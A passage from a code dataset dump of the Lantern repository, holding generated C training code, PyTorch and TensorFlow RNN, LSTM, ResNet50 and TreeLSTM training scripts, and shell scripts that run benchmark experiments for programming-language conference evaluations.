(float)x2371;\nfloat x2373 = x2367 / x2372;\nfloat x2374 = x2366 - x2373;\nx147[x2358] = x2374;\nx191[x2358] = 0.0f;\n\n}\nfor(int x2379=0; x2379 < 22500; x2379++) {\nfloat x2380 = x192[x2379];\nfloat x2381 = x2380;\nfloat x2382 = x214[x2379];\nfloat x2383 = x2381;\nfloat x2384 = x2383 * x2383;\nfloat x2385 = x2382 + x2384;\nx214[x2379] = x2385;\nfloat x2387 = x155[x2379];\nfloat x2389 = x214[x2379];\nfloat x2388 = 0.05f * x2383;\ndouble x2390 = (double)x2389;\ndouble x2391 = x2390 + 9.99999993922529E-9;\ndouble x2392 = sqrt(x2391);\nfloat x2393 = (float)x2392;\nfloat x2394 = x2388 / x2393;\nfloat x2395 = x2387 - x2394;\nx155[x2379] = x2395;\nx192[x2379] = 0.0f;\n\n}\nfor(int x2400=0; x2400 < 150; x2400++) {\nfloat x2401 = x193[x2400];\nfloat x2402 = x2401;\nfloat x2403 = x215[x2400];\nfloat x2404 = x2402;\nfloat x2405 = x2404 * x2404;\nfloat x2406 = x2403 + x2405;\nx215[x2400] = x2406;\nfloat x2408 = x163[x2400];\nfloat x2410 = x215[x2400];\nfloat x2409 = 0.05f * x2404;\ndouble x2411 = (double)x2410;\ndouble x2412 = x2411 + 9.99999993922529E-9;\ndouble x2413 = sqrt(x2412);\nfloat x2414 = (float)x2413;\nfloat x2415 = x2409 / x2414;\nfloat x2416 = x2408 - x2415;\nx163[x2400] = x2416;\nx193[x2400] = 0.0f;\n\n}\nfor(int x2421=0; x2421 < 750; x2421++) {\nfloat x2422 = x194[x2421];\nfloat x2423 = x2422;\nfloat x2424 = x216[x2421];\nfloat x2425 = x2423;\nfloat x2426 = x2425 * x2425;\nfloat x2427 = x2424 + x2426;\nx216[x2421] = x2427;\nfloat x2429 = x164[x2421];\nfloat x2431 = x216[x2421];\nfloat x2430 = 0.05f * x2425;\ndouble x2432 = (double)x2431;\ndouble x2433 = x2432 + 9.99999993922529E-9;\ndouble x2434 = sqrt(x2433);\nfloat x2435 = (float)x2434;\nfloat x2436 = x2430 / x2435;\nfloat x2437 = x2429 - x2436;\nx164[x2421] = x2437;\nx194[x2421] = 0.0f;\n\n}\nfor(int x2442=0; x2442 < 5; x2442++) {\nfloat x2443 = x195[x2442];\nfloat x2444 = x2443;\nfloat x2445 = x217[x2442];\nfloat x2446 = x2444;\nfloat x2447 = x2446 * x2446;\nfloat x2448 = x2445 + x2447;\nx217[x2442] = x2448;\nfloat x2450 = x173[x2442];\nfloat x2452 = x217[x2442];\nfloat x2451 = 0.05f * x2446;\ndouble x2453 = (double)x2452;\ndouble x2454 = x2453 + 9.99999993922529E-9;\ndouble x2455 = sqrt(x2454);\nfloat x2456 = (float)x2455;\nfloat x2457 = x2451 / x2456;\nfloat x2458 = x2450 - x2457;\nx173[x2442] = x2458;\nx195[x2442] = 0.0f;\n\n}\nint64_t x2463 = (long)mallocAddr;\nint64_t x2464 = x2463 - x219;\nmemset((void*)x219, 0, x2464);\nmallocAddr = (void*)x219;\n\n}\nfloat x2469 = x223;\ndouble x2470 = (double)x2469;\nx218[x222] = x2470;\ndouble x2472 = ((double)clock() / CLOCKS_PER_SEC);\ndouble x2473 = x2472 - x220;\nprintf(\"epoc %d, average_loss %f, time %lf\\n\",x222,x2469,x2473);\n\n}\ndouble x2477 = ((double)clock() / CLOCKS_PER_SEC);\nint64_t x2481 = (long)fopen(x0, \"w\");\nfprintf((FILE *)x2481, \"unit: %s\\n\", \"1 epoch\");\nfor(int x2483=0; x2483 < 6; x2483++) {\ndouble x2484 = x218[x2483];\nfprintf((FILE *)x2481, \"%lf\\n\", x2484);\n\n}\ndouble x2478 = x220 - x2;\ndouble x2479 = x2477 - x220;\ndouble x2480 = x2479 / 6.0;\nfprintf((FILE *)x2481, \"run time: %lf %lf\\n\", x2478, x2480);\nfclose((FILE*)x2481);\n// Backend cleanup.\n}\n/*****************************************\n End of C Generated Code \n*******************************************/\n\n" }, { "alpha_fraction": 0.6247416734695435, "alphanum_fraction": 0.6365514993667603, "avg_line_length": 27.957265853881836, "blob_id": "98e0bea0217ca3e41be00646e69137f805fbba0e", "content_id": "d91acce6a633d17ec65fb80412bb3c375bee4198", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3387, "license_type": "permissive", "max_line_length": 80, "num_lines": 117, "path": "/src/out/ICFP18evaluation/evaluationRNN/min-char-rnn-pytorch.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "\"\"\"\nMinimal character-level Vanilla RNN model. Written by Andrej Karpathy (@karpathy)\nBSD License\n\"\"\"\nimport numpy as np\nimport time\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\n\ndef run(write_to):\n start = time.time()\n data = open('graham.txt', 'r').read() # should be simple plain text file\n chars = list(set(data))\n data_size, vocab_size = len(data), len(chars)\n print('data has %d characters, %d unique.' % (data_size, vocab_size))\n char_to_ix = { ch:i for i,ch in enumerate(chars) }\n ix_to_char = { i:ch for i,ch in enumerate(chars) }\n\n # hyper-parameters\n hidden_size = 50 # size of hidden layer of neurons\n seq_length = 20 # number of steps to unroll the RNN for\n batch_size = 20\n learning_rate = 1e-1\n n_iter = 5000\n iter_step = 100\n\n torch.manual_seed(1)\n\n def lineToTensor(line):\n tensor = torch.zeros(seq_length, batch_size, vocab_size)\n for i in range(seq_length):\n for j in range(batch_size):\n tensor[i][j][char_to_ix[line[j * seq_length + i]]] = 1\n return tensor\n\n def lineToLongTensor(line):\n tensor = torch.LongTensor(seq_length, batch_size).zero_()\n for i in range(seq_length):\n for j in range(batch_size):\n tensor[i][j] = char_to_ix[line[j * seq_length + i]]\n return tensor\n\n class RNN(nn.Module):\n def __init__(self, input_size, hidden_size, output_size):\n super(RNN, self).__init__()\n\n self.hidden_size = hidden_size\n\n self.i2h = nn.Linear(input_size + hidden_size, hidden_size)\n self.i2o = nn.Linear(hidden_size, output_size)\n\n def forward(self, input, hidden):\n combined = torch.cat((input, hidden), 1)\n hidden = F.tanh(self.i2h(combined))\n output = self.i2o(hidden)\n return output, hidden\n\n def initHidden(self):\n return Variable(torch.zeros(batch_size, self.hidden_size))\n\n rnn = RNN(vocab_size, hidden_size, vocab_size)\n optimizer = torch.optim.Adagrad(rnn.parameters(), lr = learning_rate)\n criterion = nn.CrossEntropyLoss()\n\n def train(output_tensor, input_tensor):\n hidden = rnn.initHidden()\n\n optimizer.zero_grad()\n\n loss = 0\n\n for i in range(input_tensor.size()[0]):\n output, hidden = rnn(input_tensor[i], hidden)\n loss += criterion(output, output_tensor[i])\n\n loss.backward()\n\n # grad clipping and stepping\n torch.nn.utils.clip_grad_norm(rnn.parameters(), 5.0, norm_type=1)\n optimizer.step()\n\n return loss.data[0]\n\n end = time.time()\n prepareTime = end-start\n\n loss_save = []\n p = -seq_length * batch_size\n start = time.time()\n for iter in range(n_iter + 1):\n p += seq_length * batch_size\n if p+seq_length * batch_size+1 >= len(data): p = 0\n\n inputs = Variable(lineToTensor(data[p:p+seq_length * batch_size]))\n targets = Variable(lineToLongTensor(data[p+1:p+seq_length * batch_size +1]))\n loss = train(targets, inputs)\n if iter % iter_step == 0:\n print('iter %d, loss: %f' % (iter, loss))\n loss_save.append(loss)\n\n end = time.time()\n loopTime = end -start\n\n with open(write_to, \"w\") as f:\n f.write(\"unit: \" + \"100 iteration\\n\")\n for loss in loss_save:\n f.write(str(loss) + \"\\n\")\n f.write(\"run time: \" + str(prepareTime) + \" \" + str(loopTime) + \"\\n\")\n\nif __name__ == '__main__':\n import sys\n if (len(sys.argv) != 2):\n print(\"should have a file to write results to\")\n exit(0)\n run(sys.argv[1])" }, { "alpha_fraction": 0.6493943333625793, "alphanum_fraction": 0.66419917345047, "avg_line_length": 39.17116928100586, "blob_id": "5e8c3253888b768bcc47006abe331bf8bd418628", "content_id": "aa2f5f9d464d1b3dda5cd294dd46369daa99c55d", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4458, "license_type": "permissive", "max_line_length": 158, "num_lines": 111, "path": "/src/out/ICFP18evaluation/evaluationLSTM/min-char-lstm-tf.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "# Python\n\"\"\"\nAdopted from the word-level language model(TensorFlow/tutorial/rnn/ptb).\nMinimal character-level Vanilla RNN model. Written by Xilun Wu.\n\"\"\"\nimport numpy as np\nimport tensorflow as tf\nimport time\n\ndef run(write_to):\n # read file\n start = time.time()\n data = open('graham.txt', 'r').read() # should be simple plain text file\n chars = list(set(data))\n data_size, vocab_size = len(data), len(chars)\n print('data has %d characters, %d unique.' % (data_size, vocab_size))\n char_to_ix = { ch:i for i,ch in enumerate(chars) }\n ix_to_char = { i:ch for i,ch in enumerate(chars) }\n \n # hyperparameters\n hidden_size = 50 # size of hidden layer of neurons\n seq_length = 20 # number of steps to unroll the RNN for\n learning_rate = 1e-1\n num_iters = 5000\n iter_step = 100\n batch_size = 1\n\n # build model\n batchX_placeholder = tf.placeholder(tf.int32, [batch_size, seq_length])\n batchY_placeholder = tf.placeholder(tf.int32, [batch_size, seq_length])\n cell_state = tf.placeholder(tf.float32, [batch_size, hidden_size])\n hidden_state = tf.placeholder(tf.float32, [batch_size, hidden_size])\n init_state = tf.nn.rnn_cell.LSTMStateTuple(cell_state, hidden_state)\n\n W2 = tf.Variable(np.random.randn(hidden_size, vocab_size) * 0.01, dtype=tf.float32) #hidden to output\n b2 = tf.Variable(np.zeros((1,vocab_size)), dtype=tf.float32) # output bias\n\n # Unpack columns\n inputs_series = tf.unstack(tf.one_hot(batchX_placeholder, vocab_size), axis=1)\n #inputs_series = tf.split(axis=1, num_or_size_splits=seq_length, value=batchX_placeholder) # [batch_size, seq_length] -> batch_size [1, seq_length] tensors\n labels_series = tf.unstack(batchY_placeholder, axis=1) # unpack the [batch_size, vocab_length] tensor into batch_szie [1, seq_length] tensors\n\n # forward pass\n cell = tf.contrib.rnn.BasicLSTMCell(hidden_size, state_is_tuple=True)\n states_series, current_state = tf.contrib.rnn.static_rnn(cell, inputs_series, dtype=tf.float32)\n\n logits_series = [tf.matmul(state, W2) + b2 for state in states_series] #Broadcasted addition\n #predictions_series = [tf.nn.softmax(logits) for logits in logits_series]\n losses = [tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits, labels=labels) for logits, labels in zip(logits_series,labels_series)]\n total_loss = tf.reduce_sum(losses)\n\n train_step = tf.train.AdagradOptimizer(learning_rate).minimize(total_loss)\n\n end = time.time()\n prepareTime = end - start\n# print(\"data loading time: %f\" % (end - start))\n\n start = time.time()\n loss_save = []\n session_conf = tf.ConfigProto(\n intra_op_parallelism_threads=1,\n inter_op_parallelism_threads=1)\n with tf.Session(config=session_conf) as sess:\n sess.run(tf.global_variables_initializer())\n smooth_loss = -np.log(1.0/vocab_size)*seq_length # loss at iteration 0\n p = 0\n for epoch_idx in range(num_iters + 1):\n if p+seq_length+1 >= len(data) or epoch_idx == 0: \n p = 0 # go from start of data\n _current_cell_state = np.zeros((batch_size, hidden_size))\n _current_hidden_state = np.zeros((batch_size, hidden_size))\n\n inputs = np.array([char_to_ix[ch] for ch in data[p:p+seq_length]]).reshape((1,seq_length))\n targets = np.array([char_to_ix[ch] for ch in data[p+1:p+seq_length+1]]).reshape((1,seq_length))\n\n# _current_cell_state = np.zeros((batch_size, hidden_size))\n# _current_hidden_state = np.zeros((batch_size, hidden_size))\n\n _total_loss, _train_step, _current_state = sess.run(\n [total_loss, train_step, current_state],\n feed_dict={\n batchX_placeholder: inputs,\n batchY_placeholder: targets,\n cell_state: _current_cell_state,\n hidden_state: _current_hidden_state\n })\n\n _current_cell_state, _current_hidden_state = _current_state\n\n smooth_loss = smooth_loss * 0.9 + _total_loss * 0.1\n p += seq_length\n\n if epoch_idx%iter_step == 0:\n print(\"Step\",epoch_idx, \"Loss\", smooth_loss)\n loss_save.append(smooth_loss)\n end = time.time()\n loopTime = end - start\n# print(\"training loop time: %f\" % (end - start))\n\n with open(write_to, \"w\") as f:\n f.write(\"unit: \" + \"100 iteration\\n\")\n for loss in loss_save:\n f.write(str(loss) + \"\\n\")\n f.write(\"run time: \" + str(prepareTime) + \" \" + str(loopTime) + \"\\n\")\n\nif __name__ == '__main__':\n import sys\n if (len(sys.argv) != 2):\n print(\"should have a file to write results to\")\n exit(0)\n run(sys.argv[1])" }, { "alpha_fraction": 0.7522045969963074, "alphanum_fraction": 0.7751322984695435, "avg_line_length": 39.5, "blob_id": "649cfaddd0ca5635c919e02a1d00f264f2fe1ecf", "content_id": "e99057648eef0a878473a75523014c8d13b48694", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1134, "license_type": "permissive", "max_line_length": 121, "num_lines": 28, "path": "/src/out/PLDI19evaluation/scripts/run_deepspeech2_once.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#!/bin/bash\necho \"Note: make sure you are using the most updated .cpp file!\"\necho \"Note: we assume the system has python-pip python-dev python-virtualenv\"\necho \"Note: the script must be run in PLDIevaluation directory\"\necho \"Note: the evaluation is done with a single GPU\"\necho \"Note: we assume that a proper python virtual environment has be installed\"\nexport CUDA_VISIBLE_DEVICES=3\n\necho \"Note: we are using the newest tensorflow pytorch installation in /scratch-ml00/wang603/\"\necho \"Note: Maybe source the conda environment? Not sure\"\nsource /scratch-ml00/wang603/conda3/bin/activate\n\necho \"Exp: run DeepSpeech2 here\"\necho \"Exp: run pytorch deepspeech2\"\ncd deepspeech2\ncd ds2-pytorch/pytorch\npython3 train.py\n\necho \"Exp: run lantern deepspeech2\"\ncd ../../lantern\nnvcc -g -std=c++11 -O3 --expt-extended-lambda -Wno-deprecated-gpu-targets -lstdc++ Lantern.cu -o Lantern -lcublas -lcudnn\n./Lantern result_Lantern\ncd ../\n\nmkdir -p results/\ncp ds2-pytorch/pytorch/result_PyTorch results/result_PyTorch_$1.txt\ncp lantern/result_Lantern results/result_Lantern_$1.txt\n# python3 ../plot.py DeepSpeech2 result_Lantern.txt result_PyTorch.txt\n" }, { "alpha_fraction": 0.6234477162361145, "alphanum_fraction": 0.6417596340179443, "avg_line_length": 36.1171875, "blob_id": "f38e7b66164b6abf5d887958d1bb06bb7ddb4c7b", "content_id": "f62ecc858ac3f3ce17c23fcc8cff403bf12f94de", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4751, "license_type": "permissive", "max_line_length": 101, "num_lines": 128, "path": "/src/out/PLDI19evaluation/resnet50/pytorch/train.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport inputs\nimport resnet50\nimport time\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.autograd import Variable\nimport numpy as np\nimport torch.onnx\nimport statistics\n\ndef train(args):\n startTime = time.time()\n cudnn.benchmark = True\n cudnn.deterministic = True\n torch.set_num_threads(1)\n torch.manual_seed(args.seed)\n\n model = resnet50.resnet50Cifar10()\n if args.use_gpu:\n model.cuda()\n optimizer = optim.SGD(model.parameters(), lr=args.lr, momentum=args.momentum)\n batch = inputs.Batch(args.input_file, args.batch_size)\n\n def train_epoch(epoch):\n tloss = 0.0\n for i in range(batch.total_size // batch.batch_size):\n (input_x, input_y) = batch.batch()\n inputX = Variable(torch.from_numpy(input_x))\n inputY = Variable(torch.from_numpy(input_y))\n if args.use_gpu:\n inputX = inputX.cuda()\n inputY = inputY.cuda()\n optimizer.zero_grad()\n loss = F.nll_loss(F.log_softmax(model(inputX), dim=1), inputY)\n tloss += loss.data.item()\n loss.backward()\n optimizer.step()\n if (i + 1) % (batch.total_size // batch.batch_size // 10) == 0:\n print('epoch %d: step %d, training loss %f' % (epoch + 1, i + 1, tloss / (i)))\n return tloss / (batch.batch_size)\n\n def inference_epoch(epoch):\n model.eval()\n for i in range(batch.total_size // batch.batch_size):\n (input_x, input_y) = batch.batch()\n inputX = Variable(torch.from_numpy(input_x))\n if args.use_gpu:\n inputX = inputX.cuda()\n resnet50.printHead(10, inputX, \"input\")\n res = model(inputX)\n resnet50.printHead(10, res, \"output\")\n exit(0)\n if (i + 1) % (batch.total_size // batch.batch_size // 10) == 0:\n print('epoch %d: step %d, training loss %f' % (epoch + 1, i + 1, tloss / (i)))\n return 0\n\n loopStart = time.time()\n loss_save = []\n time_save = []\n for epoch in range(args.epochs):\n start = time.time()\n if args.inference:\n loss_save.append(inference_epoch(epoch))\n else:\n loss_save.append(train_epoch(epoch))\n stop = time.time()\n time_save.append(stop - start)\n print('Training completed in {} sec ({} sec/image)'.format((stop - start), (stop - start)/60000))\n loopEnd = time.time()\n\n prepareTime = loopStart - startTime\n loopTime = loopEnd - loopStart\n timePerEpoch = loopTime / args.epochs\n\n median_time = statistics.median(time_save)\n\n with open(args.write_to, \"w\") as f:\n f.write(\"unit: \" + \"1 epoch\\n\")\n for loss in loss_save:\n f.write(\"{}\\n\".format(loss))\n f.write(\"run time: \" + str(prepareTime) + \" \" + str(median_time) + \"\\n\")\n\n\nif __name__ == '__main__':\n # Training settings\n parser = argparse.ArgumentParser(description='PyTorch cifar10 Example')\n parser.add_argument('--batch-size', type=int, default=64, metavar='N',\n help='input batch size for training (default: 64)')\n parser.add_argument('--test-batch-size', type=int, default=64, metavar='N',\n help='input batch size for testing (default: 1000)')\n parser.add_argument('--epochs', type=int, default=4, metavar='N',\n help='number of epochs to train (default: 4)')\n parser.add_argument('--lr', type=float, default=0.005, metavar='LR',\n help='learning rate (default: 0.005)')\n parser.add_argument('--momentum', type=float, default=0.0, metavar='M',\n help='SGD momentum (default: 0.0)')\n parser.add_argument('--seed', type=int, default=42, metavar='S',\n help='random seed (default: 1)')\n parser.add_argument('--input_file', type=str,\n default='../../cifar10_data/cifar-10-batches-py/data_batch_1',\n help='Directory for storing input data')\n parser.add_argument('--write_to', type=str,\n default='result_PyTorch',\n help='Directory for saving performance data')\n parser.add_argument('--generate_onnx', type=str, default='',\n help='Directory for saving ONNX model')\n parser.add_argument('--use_gpu', type=bool, default=False,\n help='Set to true if you want to use GPU')\n parser.add_argument('--inference', type=bool, default=False,\n help='Set to false if you want to measure inference time')\n args = parser.parse_args()\n\n if args.generate_onnx == '':\n train(args)\n else:\n torch.manual_seed(args.seed)\n model = resnet50.resnet50Cifar10()\n batch = inputs.Batch('../../cifar10_data/cifar-10-batches-py/data_batch_1', 64)\n (input_x, input_y) = batch.batch()\n torch.onnx.export(model, Variable(torch.from_numpy(input_x)), args.generate_onnx, verbose=True)\n" }, { "alpha_fraction": 0.780701756477356, "alphanum_fraction": 0.8070175647735596, "avg_line_length": 21.600000381469727, "blob_id": "3614051e52d07093419091c1afd80b4bbcbe4465", "content_id": "1d28aab7550bdc6ce54e3d2db9b99d013a8b44f4", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 114, "license_type": "permissive", "max_line_length": 26, "num_lines": 5, "path": "/src/out/PLDI19evaluation/run_exp_icfp19.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#!/bin/bash\nscripts/run_deepspeech2.sh\nscripts/run_squeezenet.sh\nscripts/run_resnet50.sh\nscripts/run_treelstm.sh\n\n" }, { "alpha_fraction": 0.7605633735656738, "alphanum_fraction": 0.7838908433914185, "avg_line_length": 44.439998626708984, "blob_id": "f0da6f0fb61db15b9d8ee96a577e97da8f1feb87", "content_id": "74608fa08bd809210c3d5a1ffb990444cffc7cae", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2272, "license_type": "permissive", "max_line_length": 139, "num_lines": 50, "path": "/src/out/PLDI19evaluation/scripts/run_treelstm_once.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#!/bin/bash\necho \"Note: make sure you are using the most updated .cpp file!\"\necho \"Note: we assume the system has python-pip python-dev python-virtualenv\"\necho \"Note: the script must be run in PLDIevaluation directory\"\necho \"Note: the evaluation is done with a single GPU\"\necho \"Note: we assume that a proper python virtual environment has be installed\"\nexport CUDA_VISIBLE_DEVICES=3\n\necho \"Note: we are using the newest tensorflow pytorch installation in /scratch-ml00/wang603/\"\necho \"Note: Maybe source the conda environment? Not sure\"\nsource /scratch-ml00/wang603/conda3/bin/activate\n\necho \"Exp: run TreeLSTM models\"\ncd treelstm\necho \"Exp: run Lantern training with GPU\"\ncd lantern\nnvcc -g -std=c++11 -O3 --expt-extended-lambda -Wno-deprecated-gpu-targets -lstdc++ LanternTraining.cu -o LanternTrainingCu -lcublas -lcudnn\n./LanternTrainingCu result_Lantern\n\necho \"Exp: run PyTorch training with GPU\"\ncd ../pytorch\npython3 treeLSTM.py --use_gpu=True\n\necho \"Exp: run TensorFold training with GPU\"\ncd ../tensorflow\necho \"Note: tensorFold only works with tensorflow 1.0. We need to set up python virtual env for it\"\necho \"Note: if you have not set up the virtual env for tensorfold, uncomment the following lines to set up venv\"\n#python3 -m venv fold-env\nsource fold-env/bin/activate\n#pip3 install --upgrade pip wheel\n#pip3 install --upgrade tensorflow-gpu==1.0.0 # this version of tensorflow works with cuda 8.\n#pip install https://storage.googleapis.com/tensorflow_fold/tensorflow_fold-0.0.1-py3-none-linux_x86_64.whl\npython3 TreeLSTMTensorFlow.py result_TensorFold20\ndeactivate\n\ncd ../dynet\necho \"Exp: run Dynet training (without autobatching) with GPU\"\npython3 treelstmDynet.py result_DyNetNB --dynet-gpus 1\n\necho \"Exp: run Dynet training (with autobatching) with GPU\"\npython3 treelstmDynet.py result_DyNetB --dynet-gpus 1 --dynet-autobatch 1\n\ncd ../\nmkdir -p results\ncp lantern/result_Lantern results/result_Lantern_$1.txt\ncp pytorch/result_PyTorch results/result_PyTorch_$1.txt\ncp tensorflow/result_TensorFold20 results/result_TF20_$1.txt\ncp dynet/result_DyNetNB results/result_DyNetNB_$1.txt\ncp dynet/result_DyNetB results/result_DyNetB_$1.txt\n# python3 ../plot.py TreeLSTM result_Lantern.txt result_PyTorch.txt result_TF20.txt result_DyNetNB.txt result_DyNetB.txt\n" }, { "alpha_fraction": 0.7433628439903259, "alphanum_fraction": 0.76106196641922, "avg_line_length": 41.375, "blob_id": "5f3781ea6788c0cb6b9cb6e7a1c519a920852a82", "content_id": "ae13783629b192eabcc7ab9d21753dbf3e35fff6", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 339, "license_type": "permissive", "max_line_length": 130, "num_lines": 8, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-pytorch/pytorch/run_and_time.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "# Script to train and time DeepSpeech 2 implementation\n\nRANDOM_SEED=1\n# TARGET_ACC=23\nTARGET_ACC=0\n\n#python train.py --model_path models/deepspeech_t$RANDOM_SEED.pth.tar --seed $RANDOM_SEED --acc $TARGET_ACC\nCUDA_VISIBLE_DEVICES=3 python train.py --model_path models/deepspeech_t$RANDOM_SEED.pth.tar --seed $RANDOM_SEED --acc $TARGET_ACC\n" }, { "alpha_fraction": 0.6497949957847595, "alphanum_fraction": 0.6614632606506348, "avg_line_length": 38.39130401611328, "blob_id": "12c5057d5dc6933a96ac89e8a7eaff9573272013", "content_id": "be0078f6c5cb3fbf05749cb79e63e10cccbfe2dd", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6342, "license_type": "permissive", "max_line_length": 113, "num_lines": 161, "path": "/src/out/PLDI19evaluation/treelstm/pytorch/treeLSTM.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "from __future__ import print_function\n\nimport os, time\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.autograd import Variable as Var\nimport numpy as np\nimport torch.nn.functional as F\n\n\n# torch.set_num_threads(1)\nstartTime = time.time()\n# torch.manual_seed(7)\n# read word embedding\nword_embedding_size = 300\nword_embedding_file = \"small_glove.txt\"\nword_embedding = []\nwith open(word_embedding_file, 'r') as f:\n for (counter, line) in enumerate(f):\n if counter == 0:\n word_embedding_length = int(line)\n else:\n word_embedding.append(np.asarray([float(i) for i in line.split()]).reshape(1, -1))\n\nword_embedding = np.concatenate(word_embedding, axis = 0)\nword_embedding_GPU = Var(torch.Tensor(word_embedding)).cuda()\n\n\n# read tree_data\ntree_data_file = \"array_tree.txt\"\nscores = []\nwords = []\nlchs = []\nrchs = []\nwith open(tree_data_file, 'r') as f:\n for (counter, line) in enumerate(f):\n if counter == 0:\n tree_data_size = int(line)\n else:\n temp = np.asarray([int(i) for i in line.split()])\n if (counter-1) % 5 == 1: scores.append(temp)\n elif (counter-1) % 5 == 2: words.append(temp)\n elif (counter-1) % 5 == 3: lchs.append(temp)\n elif (counter-1) % 5 == 4: rchs.append(temp)\nprint(len(scores))\nprint(len(words))\nprint(len(lchs))\nprint(len(rchs))\nprint(tree_data_size)\n\n# hyperparameters\nhidden_size = 150\noutput_size = 5\nlearning_rate = 0.05\nbatch = 1 # using larger batch size actually hurt the performance\n\n\n# parameters\n# for leaf\nscale = 0.01\nclass TreeNet(nn.Module):\n def __init__(self):\n super(TreeNet, self).__init__()\n self.Wi = nn.Parameter(torch.randn(hidden_size, word_embedding_size) * scale)\n self.bi = nn.Parameter(torch.randn(hidden_size) * scale)\n self.Wo = nn.Parameter(torch.randn(hidden_size, word_embedding_size) * scale)\n self.bo = nn.Parameter(torch.randn(hidden_size) * scale)\n self.Wu = nn.Parameter(torch.randn(hidden_size, word_embedding_size) * scale)\n self.bu = nn.Parameter(torch.randn(hidden_size) * scale)\n # for non leaf\n self.U0i = nn.Parameter(torch.randn(hidden_size, hidden_size) * scale)\n self.U1i = nn.Parameter(torch.randn(hidden_size, hidden_size) * scale)\n self.bbi = nn.Parameter(torch.randn(hidden_size) * scale)\n self.U00f = nn.Parameter(torch.randn(hidden_size, hidden_size) * scale)\n self.U01f = nn.Parameter(torch.randn(hidden_size, hidden_size) * scale)\n self.U10f = nn.Parameter(torch.randn(hidden_size, hidden_size) * scale)\n self.U11f = nn.Parameter(torch.randn(hidden_size, hidden_size) * scale)\n self.bbf = nn.Parameter(torch.randn(hidden_size) * scale)\n self.U0o = nn.Parameter(torch.randn(hidden_size, hidden_size) * scale)\n self.U1o = nn.Parameter(torch.randn(hidden_size, hidden_size) * scale)\n self.bbo = nn.Parameter(torch.randn(hidden_size) * scale)\n self.U0u = nn.Parameter(torch.randn(hidden_size, hidden_size) * scale)\n self.U1u = nn.Parameter(torch.randn(hidden_size, hidden_size) * scale)\n self.bbu = nn.Parameter(torch.randn(hidden_size) * scale)\n # for softmax\n self.Why = nn.Parameter(torch.randn(output_size, hidden_size) * scale)\n self.by = nn.Parameter(torch.randn(output_size) * scale)\n\n # create a network for the xor problem given input and output\n def forward(self, scores, words, lchs, rchs):\n scores_GPU = Var(torch.LongTensor(scores)).cuda()\n def rec(index):\n if (words[index] == -1):\n # branch node\n (l_loss, l_hidden, l_cell) = rec(lchs[index])\n (r_loss, r_hidden, r_cell) = rec(rchs[index])\n i_gate = torch.sigmoid(torch.matmul(self.U0i, l_hidden) + torch.matmul(self.U1i, r_hidden) + self.bbi)\n fl_gate = torch.sigmoid(torch.matmul(self.U00f, l_hidden) + torch.matmul(self.U01f, r_hidden) + self.bbf)\n fr_gate = torch.sigmoid(torch.matmul(self.U10f, l_hidden) + torch.matmul(self.U11f, r_hidden) + self.bbf)\n o_gate = torch.sigmoid(torch.matmul(self.U0o, l_hidden) + torch.matmul(self.U1o, r_hidden) + self.bbo)\n u_value = torch.tanh(torch.matmul(self.U0u, l_hidden) + torch.matmul(self.U1u, r_hidden) + self.bbu)\n cell = i_gate * u_value + fl_gate * l_cell + fr_gate * r_cell\n hidden = o_gate * torch.tanh(cell)\n logits = (torch.matmul(self.Why, hidden) + self.by).view(1, output_size)\n target = scores_GPU[index: index + 1]\n loss = l_loss + r_loss + F.nll_loss(F.log_softmax(logits, dim=1), target)\n return (loss, hidden, cell)\n else:\n embedding_tensor = word_embedding_GPU[words[index]]\n i_gate = torch.sigmoid(torch.matmul(self.Wi, embedding_tensor) + self.bi)\n o_gate = torch.sigmoid(torch.matmul(self.Wo, embedding_tensor) + self.bo)\n u_value = torch.tanh(torch.matmul(self.Wu, embedding_tensor) + self.bu)\n cell = i_gate * u_value\n hidden = o_gate * torch.tanh(cell)\n logits = (torch.matmul(self.Why, hidden) + self.by).view(1, output_size)\n target = scores_GPU[index: index + 1]\n loss = F.nll_loss(F.log_softmax(logits, dim=1), target)\n return (loss, hidden, cell)\n return rec(0)[0]\n\nnet = TreeNet().cuda()\nopt = optim.Adagrad(net.parameters(), lr = learning_rate)\n\nepocNum = 6\nloopStart = time.time()\nloss_save = []\ntime_save = []\nepoch_start_time = loopStart\nfor epoc in range(epocNum):\n total_loss = 0\n for n in range(tree_data_size):\n opt.zero_grad()\n loss = net.forward(scores[n], words[n], lchs[n], rchs[n])\n total_loss += loss.item()\n loss.backward()\n opt.step()\n epoch_end_time = time.time()\n time_save.append(epoch_end_time - epoch_start_time)\n epoch_start_time = epoch_end_time\n loss_save.append(total_loss / tree_data_size)\n print(\"epoc {}, average_loss {}, time spent {}\".format(epoc, total_loss / tree_data_size, time_save[epoc]))\n\nloopEnd = time.time()\nprint('average looptime is %s ' % (loopEnd - loopStart))\n\nprepareTime = loopStart - startTime\nloopTime = 